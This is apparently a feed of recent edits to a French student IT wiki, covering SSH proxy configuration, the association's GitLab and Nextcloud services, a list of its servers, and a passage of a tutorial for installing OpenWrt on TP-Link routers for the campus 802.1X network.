=== Passer par un hôte intermédiaire ===&lt;br /&gt;
&lt;br /&gt;
On a parfois besoin de se logger en SSH de A sur B pour ensuite se logger de B sur C. Pour automatiser ça, il suffit de mettre ces lignes dans {{c|~/.ssh/config}}&lt;br /&gt;
 Host C&lt;br /&gt;
     ProxyCommand ssh login@B -W %h:%p&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=GitLab&amp;diff=8857</id>
		<title>GitLab</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=GitLab&amp;diff=8857"/>
		<updated>2022-08-05T11:52:45Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[https://gitlab.binets.fr GitLab] est un service d'hébergement pour les projets administrés en utilisant Git: PSC, MODALs, services développés par le BR, projets de MAP.&lt;br /&gt;
&lt;br /&gt;
== Pourquoi GitLab ? ==&lt;br /&gt;
&lt;br /&gt;
Il existe d'autres plateformes d'hébergement de code contrôlé avec Git, comme [https://github.com/ GitHub], mais on peut aussi installer une copie du système chez soi, ce que font plusieurs écoles (comme nos voisins de l'ENSTA) et entreprises comme SpaceX, IBM, Inria ou Alibaba ; ce que l'on a décidé de faire. Le code posté sur gitlab.binets.fr est donc hébergé chez nous, sur un serveur du BR. Bien sûr, le service et les dépôts hébergés sont accessibles hors Plâtal, donc vous pouvez travailler et envoyer vos modifs où que vous soyez, dès que vous avez internet. Le GitLab propose les mêmes services d'hébergement et gestion de base que GitHub, mais aussi des services supplémentaires qui seraient payants sur cette plateforme :&lt;br /&gt;
&lt;br /&gt;
* nombre illimité de dépôts avec les options de sécurité que vous voulez&lt;br /&gt;
* faire des Wikis et des sites Web avec &amp;lt;code&amp;gt;GitLab Pages&amp;lt;/code&amp;gt;&lt;br /&gt;
* intégration continue (lancer les tests automatiquement dès que vous envoyez vos modifs) avec GitLab CI/CD&lt;br /&gt;
* hébergement de gros fichiers&lt;br /&gt;
* s'organiser en groupes et sous-groupes pour collaborer sur des projets en commun, comme le groupe BR (https://gitlab.binets.fr/br)&lt;br /&gt;
* issue tracking pour garder le fil des différents problèmes à résoudre et des tâches à attribuer sur le projet&lt;br /&gt;
* une interface intelligente, généreuse et disruptive. On peut trouver une liste détaillée des fonctionnalités proposées par GitLab [https://about.gitlab.com/features/ ici].&lt;br /&gt;
&lt;br /&gt;
== Guide : rajouter sa clef [[SSH]] sur le GitLab == &lt;br /&gt;
&lt;br /&gt;
Si vous venez de l'article [[Git]] vous avez vu qu'il est recommandé d'ajouter une clef SSH sur le GitLab pour faire ses accès au images des dépôts hébergés dessus en utilisant le protocole SSH. Cela n'a rien d'obligatoire, c'est juste du confort !&lt;br /&gt;
&lt;br /&gt;
Pour créer une clef, suivez le guide [[SSH]] et pour l'ajouter, allez dans le menu &amp;lt;code&amp;gt;SSH Keys&amp;lt;/code&amp;gt; dans la sidebar.&lt;br /&gt;
&lt;br /&gt;
Il suffit alors de suivre les instructions en ajoutant sa clef publique, et votre clef est prête à l'utilisation !&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Stratus&amp;diff=8856</id>
		<title>Stratus</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Stratus&amp;diff=8856"/>
		<updated>2022-08-05T11:43:39Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Stratus est le cloud promo. C'est une instance Nextcloud hébergée au BR. Il est accessible aux adresses https://stratus.binets.fr et https://cloud.binets.fr. Tu peux l'utiliser sur ton mobile avec l'application Nextcloud. &lt;br /&gt;
&lt;br /&gt;
Il te permet de partager un dossier avec ton binet (demande au BR pour ça), ou bien avec des utilisateurs ou par lien ; et même de faire des liens de dépôts seulement. &lt;br /&gt;
&lt;br /&gt;
== Centraliser ses calendriers Perso, Sigma et SynapseS grâce à Stratus ==&lt;br /&gt;
&lt;br /&gt;
Stratus, c'est le cloud promo, un endroit où stocker, partager et sauvegarder tous tes fichiers, mais c'est bien plus, c'est aussi un outil pour synchroniser tes contacts et calendriers&lt;br /&gt;
&lt;br /&gt;
== Ajouter des calendriers à l'agenda de Stratus ==&lt;br /&gt;
&lt;br /&gt;
Tu peux aussi ajouter les calendriers Sigma et SynapseS, pour avoir un unique calendrier sur toutes tes machines, qui centralise tes calendriers perso, Sigma et SynapseS, et c'est ce que tu vas apprendre dans ce tutoriel.&lt;br /&gt;
&lt;br /&gt;
== Ajouter le calendrier SynapseS ==&lt;br /&gt;
&lt;br /&gt;
# Ouvre ENEX, rends-toi dans l'onglet &amp;quot;Mes Services&amp;quot;, puis coche la case &amp;quot;Créer un lien public pour mon emploi du temps&amp;quot;&lt;br /&gt;
# Copie l'adresse qui apparait en dessous dans l'encart bleu&lt;br /&gt;
# Ouvre Stratus&lt;br /&gt;
# Ouvre l'application Calendar de stratus (Icône de calendrier dans le bandeau bleu en haut)&lt;br /&gt;
# Clique sur &amp;quot;New Subscription&amp;quot;&lt;br /&gt;
# Colle l'adresse copiée précédemment, puis valide, tes cours devraient apparaître dans le calendrier&lt;br /&gt;
&lt;br /&gt;
== Ajouter le calendrier Sigma ==&lt;br /&gt;
&lt;br /&gt;
# Ouvre Sigma, rends-toi dans l'onglet &amp;quot;Calendrier&amp;quot;, puis clique sur le bouton &amp;quot;téléchargement&amp;quot;&lt;br /&gt;
# Copie le lien qui correspond au calendrier qui t'intéresse&lt;br /&gt;
# Ouvre Stratus&lt;br /&gt;
# Ouvre l'application Calendar de stratus (Icône de calendrier dans le bandeau bleu en haut)&lt;br /&gt;
# Clique sur &amp;quot;New Subscription&amp;quot;&lt;br /&gt;
# Colle l'adresse copiée précédemment, puis valide, les événements Sigma devraient apparaître dans le calendrier&lt;br /&gt;
&lt;br /&gt;
== Synchroniser ce calendrier avec tes appareils ==&lt;br /&gt;
&lt;br /&gt;
Ce guide est là pour t'expliquer comment synchroniser tes contacts et ton calendrier avec Stratus&lt;br /&gt;
&lt;br /&gt;
==== Android ====&lt;br /&gt;
&lt;br /&gt;
# Télécharge l'application &amp;quot;Open Sync&amp;quot;&lt;br /&gt;
# Ouvrir l'application et ajouter un nouveau compte (Icône &amp;quot;+&amp;quot; en bas à droite)&lt;br /&gt;
# Cocher &amp;quot;Connexion avec une URL et un nom d'utilisateur. L'URL de base est &amp;quot;https://cloud.binets.fr/remote/dav.php&amp;quot;. Les identifiants sont les identifiants Sigma.&lt;br /&gt;
&lt;br /&gt;
==== Thunderbird ====&lt;br /&gt;
===== Calendrier =====&lt;br /&gt;
&lt;br /&gt;
Suis le guide suivant en remplaçant &amp;lt;code&amp;gt;cloud.nextcloud.com&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;cloud.binets.fr&amp;lt;/code&amp;gt; : https://docs.nextcloud.com/server/13/user_manual/pim/sync_thunderbird.html&lt;br /&gt;
&lt;br /&gt;
===== iOS =====&lt;br /&gt;
&lt;br /&gt;
Suis le guide suivant en remplaçant &amp;lt;code&amp;gt;example.com&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;cloud.binets.fr&amp;lt;/code&amp;gt; : https://docs.nextcloud.com/server/13/user_manual/pim/sync_ios.html&lt;br /&gt;
&lt;br /&gt;
===== Mac OS =====&lt;br /&gt;
&lt;br /&gt;
Suis le guide suivant en remplaçant &amp;lt;code&amp;gt;example.com&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;cloud.binets.fr&amp;lt;/code&amp;gt; : https://docs.nextcloud.com/server/13/user_manual/pim/sync_osx.html&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Stratus&amp;diff=8855</id>
		<title>Stratus</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Stratus&amp;diff=8855"/>
		<updated>2022-08-05T11:40:36Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout description&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Stratus est le cloud promo. C'est une instance Nextcloud hébergée au BR. Il est accessible aux adresses [stratus.binets.fr](https://stratus.binets.fr) et [cloud.binets.fr](https://cloud.binets.fr). Tu peux l'utiliser sur ton mobile avec l'application Nextcloud. &lt;br /&gt;
&lt;br /&gt;
Il te permet de partager un dossier avec ton binet (demande au BR pour ça), ou bien avec des utilisateurs ou par lien ; et même de faire des liens de dépôts seulement. &lt;br /&gt;
&lt;br /&gt;
== Centraliser ses calendriers Perso, Sigma et SynapseS grâce à Stratus ==&lt;br /&gt;
&lt;br /&gt;
Stratus, c'est le cloud promo, un endroit où stocker, partager et sauvegarder tous tes fichiers, mais c'est bien plus, c'est aussi un outil pour synchroniser tes contacts et calendriers&lt;br /&gt;
&lt;br /&gt;
== Ajouter des calendriers à l'agenda de Stratus ==&lt;br /&gt;
&lt;br /&gt;
Tu peux aussi ajouter les calendriers Sigma et SynapseS, pour avoir un unique calendrier sur toutes tes machines, qui centralise tes calendriers perso, Sigma et SynapseS, et c'est ce que tu vas apprendre dans ce tutoriel.&lt;br /&gt;
&lt;br /&gt;
== Ajouter le calendrier SynapseS ==&lt;br /&gt;
&lt;br /&gt;
# Ouvre ENEX, rends-toi dans l'onglet &amp;quot;Mes Services&amp;quot;, puis coche la case &amp;quot;Créer un lien public pour mon emploi du temps&amp;quot;&lt;br /&gt;
# Copie l'adresse qui apparait en dessous dans l'encart bleu&lt;br /&gt;
# Ouvre Stratus&lt;br /&gt;
# Ouvre l'application Calendar de stratus (Icône de calendrier dans le bandeau bleu en haut)&lt;br /&gt;
# Clique sur &amp;quot;New Subscription&amp;quot;&lt;br /&gt;
# Colle l'adresse copiée précédemment, puis valide, tes cours devraient apparaître dans le calendrier&lt;br /&gt;
&lt;br /&gt;
== Ajouter le calendrier Sigma ==&lt;br /&gt;
&lt;br /&gt;
# Ouvre Sigma, rends-toi dans l'onglet &amp;quot;Calendrier&amp;quot;, puis clique sur le bouton &amp;quot;téléchargement&amp;quot;&lt;br /&gt;
# Copie le lien qui correspond au calendrier qui t'intéresse&lt;br /&gt;
# Ouvre Stratus&lt;br /&gt;
# Ouvre l'application Calendar de stratus (Icône de calendrier dans le bandeau bleu en haut)&lt;br /&gt;
# Clique sur &amp;quot;New Subscription&amp;quot;&lt;br /&gt;
# Colle l'adresse copiée précédemment, puis valide, les événements Sigma devraient apparaître dans le calendrier&lt;br /&gt;
&lt;br /&gt;
== Synchroniser ce calendrier avec tes appareils ==&lt;br /&gt;
&lt;br /&gt;
Ce guide est là pour t'expliquer comment synchroniser tes contacts et ton calendrier avec Stratus&lt;br /&gt;
&lt;br /&gt;
==== Android ====&lt;br /&gt;
&lt;br /&gt;
# Télécharge l'application &amp;quot;Open Sync&amp;quot;&lt;br /&gt;
# Ouvrir l'application et ajouter un nouveau compte (Icône &amp;quot;+&amp;quot; en bas à droite)&lt;br /&gt;
# Cocher &amp;quot;Connexion avec une URL et un nom d'utilisateur. L'URL de base est &amp;quot;https://cloud.binets.fr/remote/dav.php&amp;quot;. Les identifiants sont les identifiants Sigma.&lt;br /&gt;
&lt;br /&gt;
==== Thunderbird ====&lt;br /&gt;
===== Calendrier =====&lt;br /&gt;
&lt;br /&gt;
Suis le guide suivant en remplaçant &amp;lt;code&amp;gt;cloud.nextcloud.com&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;cloud.binets.fr&amp;lt;/code&amp;gt; : https://docs.nextcloud.com/server/13/user_manual/pim/sync_thunderbird.html&lt;br /&gt;
&lt;br /&gt;
===== iOS =====&lt;br /&gt;
&lt;br /&gt;
Suis le guide suivant en remplaçant &amp;lt;code&amp;gt;example.com&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;cloud.binets.fr&amp;lt;/code&amp;gt; : https://docs.nextcloud.com/server/13/user_manual/pim/sync_ios.html&lt;br /&gt;
&lt;br /&gt;
===== Mac OS =====&lt;br /&gt;
&lt;br /&gt;
Suis le guide suivant en remplaçant &amp;lt;code&amp;gt;example.com&amp;lt;/code&amp;gt; par &amp;lt;code&amp;gt;cloud.binets.fr&amp;lt;/code&amp;gt; : https://docs.nextcloud.com/server/13/user_manual/pim/sync_osx.html&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Mod%C3%A8le:Content_serveurs&amp;diff=8842</id>
		<title>Modèle:Content serveurs</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Mod%C3%A8le:Content_serveurs&amp;diff=8842"/>
		<updated>2022-04-18T10:30:33Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Ajout serveurs Bachelor&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Général :'''&lt;br /&gt;
* [[Réseau:Attribution des prises local BR|Réseau du local]]&lt;br /&gt;
* [[Admin:Configuration des serveurs|Conf des serveurs]]&lt;br /&gt;
* [[Admin:Configuration_des_switchs|Conf des switchs cisco]]&lt;br /&gt;
* [[Admin:Onduleur|Onduleurs]]&lt;br /&gt;
&lt;br /&gt;
'''Serveurs :'''&lt;br /&gt;
{| style=&amp;quot;background-color:transparent&amp;quot;&lt;br /&gt;
|&lt;br /&gt;
* [[Admin:Frankiz|Frankiz]]&lt;br /&gt;
* [[Admin:Heol|Heol]]&lt;br /&gt;
* [[Admin:Deiz|Deiz]]&lt;br /&gt;
* [[Admin:Kevarzh|Kevarzh]]&lt;br /&gt;
* [[Admin:Moaz|Moaz]]&lt;br /&gt;
* [[Admin:Envorenn|Envorenn]]&lt;br /&gt;
* [[Admin:Phoenix|Phoenix]]&lt;br /&gt;
|&lt;br /&gt;
* [[Admin:Lodan|Lodan]]&lt;br /&gt;
* [[Admin:Lodan2|Lodan2]]&lt;br /&gt;
* [[Admin:Lunedenn|Lunedenn]]&lt;br /&gt;
* [[Admin:Galloudel|Galloudel]]&lt;br /&gt;
* [[Admin:Garvleiz|Garvleiz]]&lt;br /&gt;
* [[Admin:Diavaez|Diavaez]]&lt;br /&gt;
* [[Admin:Bachelor|Bachelor]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''VMs :'''&lt;br /&gt;
{| style=&amp;quot;background-color:transparent&amp;quot;&lt;br /&gt;
|&lt;br /&gt;
* {{a|Gitlab}}&lt;br /&gt;
* {{a|Quassel}}&lt;br /&gt;
|&lt;br /&gt;
* {{a|Matrix}}&lt;br /&gt;
* {{a|Taolenn}}&lt;br /&gt;
|}&lt;br /&gt;
'''Anciens serveurs'''&lt;br /&gt;
{| style=&amp;quot;background-color:transparent&amp;quot;&lt;br /&gt;
|&lt;br /&gt;
* [[Admin:Gwennoz|Gwennoz]]&lt;br /&gt;
* [[Admin:Pellwel|Pellwel]]&lt;br /&gt;
* [[Admin:Koun|Koun]]&lt;br /&gt;
|&lt;br /&gt;
* [[Admin:Skinwel|Skinwel]]&lt;br /&gt;
* [[Admin:Enez|Enez]]&lt;br /&gt;
* [[Admin:Skignerezh|Skignerezh]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Jean-samuel.tettekpoe</name></author>
	</entry>
	<entry>
		<id>https://wikibr.binets.fr/index.php?title=Routeurs_Wi-Fi/Tutoriel&amp;diff=8834</id>
		<title>Routeurs Wi-Fi/Tutoriel</title>
		<link rel="alternate" type="text/html" href="https://wikibr.binets.fr/index.php?title=Routeurs_Wi-Fi/Tutoriel&amp;diff=8834"/>
		<updated>2022-04-02T17:24:57Z</updated>

		<summary type="html">&lt;p&gt;Jean-samuel.tettekpoe : Actualiser les ip des dns&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
{{Travaux|Pour toute remarque ou demande, ouvrir une tâche Panix}}&lt;br /&gt;
&lt;br /&gt;
== Avertissements ==&lt;br /&gt;
&lt;br /&gt;
{{Attention|Pour commencer, il est recommandé de lire toutes les parties qui vous intéressent ''avant'' de faire quoi que ce soit. Cela vous évitera des erreurs stupides qui vous feront perdre du temps. Si vous souhaitez acheter un routeur, tournez vous faire des modèles avec plus de RAM que celui-ci (contacter le BR direcetement pour plus d'infos) !}}&lt;br /&gt;
&lt;br /&gt;
=== Avertissement technique ===&lt;br /&gt;
&lt;br /&gt;
'''Modèle de routeur.''' Le système que vous vous apprêtez à installer n'est pas compatible avec tous les routeurs, loin de là ! Le fichier fourni par ce tutoriel est uniquement compatible avec le routeur '''TP-Link 841N''' ou '''TP-Link 841ND''', versions 11 (La version est écrite sur une étiquette du routeur et sur la boîte près du code barre.) . ''D'autres versions peuvent être compatibles mais n'ont pas été testé.''&lt;br /&gt;
&lt;br /&gt;
Si vous souhaitez tout de même utiliser un autre modèle, il faudra vous référer au site web d'openwrt {{c|http://openwrt.org/}} qui contient entre autres la liste des modèles compatibles. IL faut prendre des modèles avec suffisament de RAM pour que cela fonctionne et compatible avec des versions récentes d'openwrt (le plus récent le mieux pour des questions de sécurité, mais au minimum openwrt 20.0). Cependant ce guide sera très spécifique pour le TP-link 841N et Tp-link 841ND.&lt;br /&gt;
&lt;br /&gt;
'''Méthode de connexion.''' Pour configurer le routeur vous allez devoir vous y connecter. Pour cela brancher un câble ethernet à votre PC et sur un port orange du routeur (pensez aussi à brancher préalablement le routeur).&lt;br /&gt;
&lt;br /&gt;
=== Avertissement juridique ===&lt;br /&gt;
&lt;br /&gt;
Si vous configurez ce routeur pour fonctionner avec 802.1X (dans les caserts de l'École polytechnique en général), cela signifie que votre routeur sera connecté au réseau avec ''vos identifiants''.&lt;br /&gt;
&lt;br /&gt;
En particulier, puisque vous avez parfaitement le droit de partager votre connexion Wi-Fi avec qui bon vous semble, souvenez-vous que toute personne connectée à votre Wi-Fi est sous votre responsabilité.&lt;br /&gt;
&lt;br /&gt;
== Principe ==&lt;br /&gt;
&lt;br /&gt;
Les routeurs du commerce ne gèrent pas les systèmes de sécurité utilisés à l'École polytechnique pour votre connexion internet. Pour compenser ce problème, une solution est d'installer un système auxiliaire (OpenWRT)  sur les routeurs, remplaçant le système d'origine. Grâce à ceci on peut obtenir un routeur qui s'authentifie lui-même sur le réseau de l'École, et fournit un réseau wifi sur lequel les réseaux interne et externe sont accessibles sans problèmes de réglages de vos téléphones et ordinateurs.&lt;br /&gt;
&lt;br /&gt;
== Préparation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
Dans le cas des systèmes UNIX, la préparation est assez rapide car les outils sont déjà installés.&lt;br /&gt;
&lt;br /&gt;
==== Terminal ====&lt;br /&gt;
&lt;br /&gt;
Pour faire la configuration il vous faudra être capable d'accéder à votre terminal. Pour la plupart des systèmes on peut le lancer avec {{c|ctrl+alt+T}} ou en cherchant « terminal » dans le menu principal.&lt;br /&gt;
&lt;br /&gt;
==== SSH et SCP ====&lt;br /&gt;
&lt;br /&gt;
Vous aurez besoin d'un client {{c|ssh}} (par défaut installé sous linux) :&lt;br /&gt;
&lt;br /&gt;
  $ sudo apt-get install openssh-client&lt;br /&gt;
&lt;br /&gt;
La commande {{c|ssh}} permet ensuite de se connecter à distance et de façon sécurisée à un terminal.&lt;br /&gt;
&lt;br /&gt;
La commande {{c|scp}}, fournie par le même paquet, permet de transférer des fichiers avec le même protocole.&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
Pour vous connecter au routeur il vous faudra créer un nouveau profil de configuration ethernet selon les paramètres suivants :&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-settings-eth-linux.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
==== Récupération ====&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir récupérer une erreur commise avec votre routeur, il faut tout d'abord installer un serveur ssh :&lt;br /&gt;
&lt;br /&gt;
  $ sudo apt-get install openssh-server&lt;br /&gt;
  $ sudo service ssh start&lt;br /&gt;
&lt;br /&gt;
Vous aurez ensuite besoin d'un nouveau profil de connexion réseau qui vous permettra de réaliser la remise à zéro du routeur :&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-settings-eth0-linux.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
=== MacOS ===&lt;br /&gt;
&lt;br /&gt;
==== Terminal ====&lt;br /&gt;
&lt;br /&gt;
La console de MacOS est accessible via une application appelée '''Terminal'''. Vous la trouverez dans le dossier « Utilitaires » du dossier « Applications ». Elle vous permettra de taper les commandes nécessaires.&lt;br /&gt;
&lt;br /&gt;
==== SSH et SCP ====&lt;br /&gt;
&lt;br /&gt;
Le programme {{c|ssh}} est en général installé sur MacOS X, et permet de se connecter à distance à d'autres ordinateurs (en l'occurrence au routeur).&lt;br /&gt;
&lt;br /&gt;
Il en est de même pour {{c|scp}} qui est destiné au transfert de fichiers.&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir se connecter facilement au routeur le plus simple est de créer un nouveau profil de configuration :&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-settings-eth-1-mac.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-settings-eth-2-mac.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Terminal ====&lt;br /&gt;
&lt;br /&gt;
Sous Windows il existe plusieurs options.&lt;br /&gt;
&lt;br /&gt;
Soit vous utilisez le powershell (windows terminal sous windows 11), soit vous utilisez Ubuntu via WSL. Si vous utilisez WSL veuillez vous référer à la partie Linux précédente pour installer les paquets nécessaires à la réalisation du tutoriel.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
Il vous faudra aussi configurer votre connexion réseau en '''DHCP''', sans la sécurité '''802.1X''', et de préférence avec les bons serveurs '''DNS'''. Si vous ne l'avez jamais fait, renseignez-vous sur le wikibr ou tout autre site décrivant la configuration réseau sous Windows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Terminal ===&lt;br /&gt;
&lt;br /&gt;
Dans le terminal de votre ordinateur nous n'utiliserons que '''ssh''' et '''scp''' . En revanche nous utiliserons beaucoup le terminal du routeur, qui ressemblera à ceci :&lt;br /&gt;
&lt;br /&gt;
  neze@neze ~$ ssh root@192.168.1.1&lt;br /&gt;
  The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.&lt;br /&gt;
  RSA key fingerprint is **:**:**:**:**:**:**:**:**:**:**:**:**:**:**:**.&lt;br /&gt;
  Are you sure you want to continue connecting (yes/no)? yes&lt;br /&gt;
  Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.&lt;br /&gt;
  root@192.168.1.1's password: # ici le password n'apparaîtra pas&lt;br /&gt;
   &lt;br /&gt;
   &lt;br /&gt;
  BusyBox v1.23.2 (2015-11-17 16:24:55 CET) built-in shell (ash)&lt;br /&gt;
   &lt;br /&gt;
    _______                     ________        __&lt;br /&gt;
   |       |.-----.-----.-----.|  |  |  |.----.|  |_&lt;br /&gt;
   |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|&lt;br /&gt;
   |_______||   __|_____|__|__||________||__|  |____|&lt;br /&gt;
            |__| W I R E L E S S   F R E E D O M&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
   CHAOS CALMER (Chaos Calmer, r47466)&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
    * 1 1/2 oz Gin            Shake with a glassful&lt;br /&gt;
    * 1/4 oz Triple Sec       of broken ice and pour&lt;br /&gt;
    * 3/4 oz Lime Juice       unstrained into a goblet.&lt;br /&gt;
    * 1 1/2 oz Orange Juice&lt;br /&gt;
    * 1 tsp. Grenadine Syrup&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
  root@OpenWrt:~#&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
Cette section est destinée à décrire l'installation du système '''OpenWRT''' sur un des deux routeurs traités. Plusieurs fichiers vous sont proposés. En général avant de l'installer il faut renommer un fichier.&lt;br /&gt;
&lt;br /&gt;
=== Installer OpenWRT sur le routeur ===&lt;br /&gt;
&lt;br /&gt;
Pour installer '''OpenWRT''' il faut d'abord préparer le fichier que vous allez mettre dans le routeur, qui est une version d'OpenWRT prévue pour le v10 et v11 et modifiée pour l'École polytechnique. Les informations sur ce fichier incluent aussi des sommes de contrôle si vous voulez vérifier que le fichier est le bon. Pensez à le décompresser avant toute chose.&lt;br /&gt;
&lt;br /&gt;
  '''Nom:''' openwrt-19.07.2-ath79-tiny-tplink_tl-wr841-v11-squashfs-factory.bin&lt;br /&gt;
  (md5)     c7ac93636caf4935665c54fa09ba1421&lt;br /&gt;
  (sha1)    83a9763418ce2bda4e29f0ae46d827e3ef506e48&lt;br /&gt;
  (sha256)  9099e9054b370676b6467b6fb29c8f5a248839d2e3960686d0b6297c5c42763a&lt;br /&gt;
   &lt;br /&gt;
  [[Fichier:routeurv11openwrt.zip]]&lt;br /&gt;
&lt;br /&gt;
Il faut commencer par renommer votre fichier pour qu'il corresponde à votre routeur, suivant le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  wr841nv11_wr841ndv11_en_3_16_9_up(150616).bin # tl841n v11&lt;br /&gt;
&lt;br /&gt;
Ouvrez ensuite, avec votre navigateur web, la page de configuration du routeur. Son adresse est&lt;br /&gt;
 &amp;lt;tt&amp;gt;http://192.168.1.1/&amp;lt;/tt&amp;gt; ou &amp;lt;tt&amp;gt;http://192.168.0.1/&amp;lt;/tt&amp;gt; &lt;br /&gt;
et il vous faut parfois désactiver le proxy pour y accéder.&lt;br /&gt;
&lt;br /&gt;
[[Image:routeurs-tp-link-page.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite se connecter à l'interface (nom d'utilisateur {{c|admin}}, même mot de passe), puis accéder à l'onglet '''System &amp;gt; Firmware Upgrade'''. Dans cette fenêtre vous pouvez sélectionner votre fichier ''bien renommé'', puis cliquer sur Upgrade et confirmer.&lt;br /&gt;
&lt;br /&gt;
OpenWRT va être installé sur le routeur qui va ensuite redémarrer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
=== Accès SSH ===&lt;br /&gt;
&lt;br /&gt;
Actuellement le routeur n'a pas de mot de passe administrateur, ce qui empêche d'utiliser {{c|ssh}} pour s'y connecter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour des raisons techniques, le routeur n'a pas d'interface web. On peut dans ce cas utiliser {{c|telnet}} et la commande {{c|passwd}} lorsque l'on dispose d'un terminal. L'on peut si on le souhaite mettre un mot de passe (très fortement conseillé) :&lt;br /&gt;
&lt;br /&gt;
  neze@neze ~ $ ssh root@192.168.1.1&lt;br /&gt;
&lt;br /&gt;
  BusyBox v1.23.2 (2016-01-02 18:01:44 CET) built-in shell (ash)&lt;br /&gt;
    _______                     ________        __&lt;br /&gt;
   |       |.-----.-----.-----.|  |  |  |.----.|  |_&lt;br /&gt;
   |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|&lt;br /&gt;
   |_______||   __|_____|__|__||________||__|  |____|&lt;br /&gt;
            |__| W I R E L E S S   F R E E D O M&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
   CHAOS CALMER (15.05.1, r48532)&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
   * 1 1/2 oz Gin            Shake with a glassful&lt;br /&gt;
   * 1/4 oz Triple Sec       of broken ice and pour&lt;br /&gt;
   * 3/4 oz Lime Juice       unstrained into a goblet.&lt;br /&gt;
   * 1 1/2 oz Orange Juice&lt;br /&gt;
   * 1 tsp. Grenadine Syrup&lt;br /&gt;
   -----------------------------------------------------&lt;br /&gt;
  root@OpenWrt:/# passwd&lt;br /&gt;
  Changing password for root&lt;br /&gt;
  New password:&lt;br /&gt;
  Retype password:&lt;br /&gt;
  Password for root changed by root&lt;br /&gt;
  root@OpenWrt:/#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Donner l'accès internet au routeur ===&lt;br /&gt;
&lt;br /&gt;
Pour que le routeur fonctionne à l'École, il faut qu'il soit branché à la prise de votre casert via la prise bleue du routeur. Il faut ensuite le configurer pour qu'il ait accès à internet.&lt;br /&gt;
&lt;br /&gt;
==== 802.1X ====&lt;br /&gt;
&lt;br /&gt;
Dans la plupart des caserts de l'X, la sécurité est 802.1X (celle qui demande une authentification). Pour la configurer il faut mettre vos identifiants enex dans le routeur.&lt;br /&gt;
&lt;br /&gt;
* Connectez-vous au routeur via ssh.&lt;br /&gt;
&lt;br /&gt;
  ssh root@192.168.1.1&lt;br /&gt;
&lt;br /&gt;
* Éditez le fichier de configuration de '''wpa''' en complétant les champs identity et password puis en copiant collant dans le terminal (faire CTRL+C et CTRL+V).&lt;br /&gt;
&lt;br /&gt;
  nano /etc/config/wpa.conf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Une fois l'édition terminée, faire CTRL+X puis y pour valider''&lt;br /&gt;
&lt;br /&gt;
*Fichier wpa.conf :&lt;br /&gt;
&lt;br /&gt;
 ctrl_interface=/var/run/wpa_supplicant&lt;br /&gt;
 ctrl_interface_group=root&lt;br /&gt;
 ap_scan=0&lt;br /&gt;
 network={&lt;br /&gt;
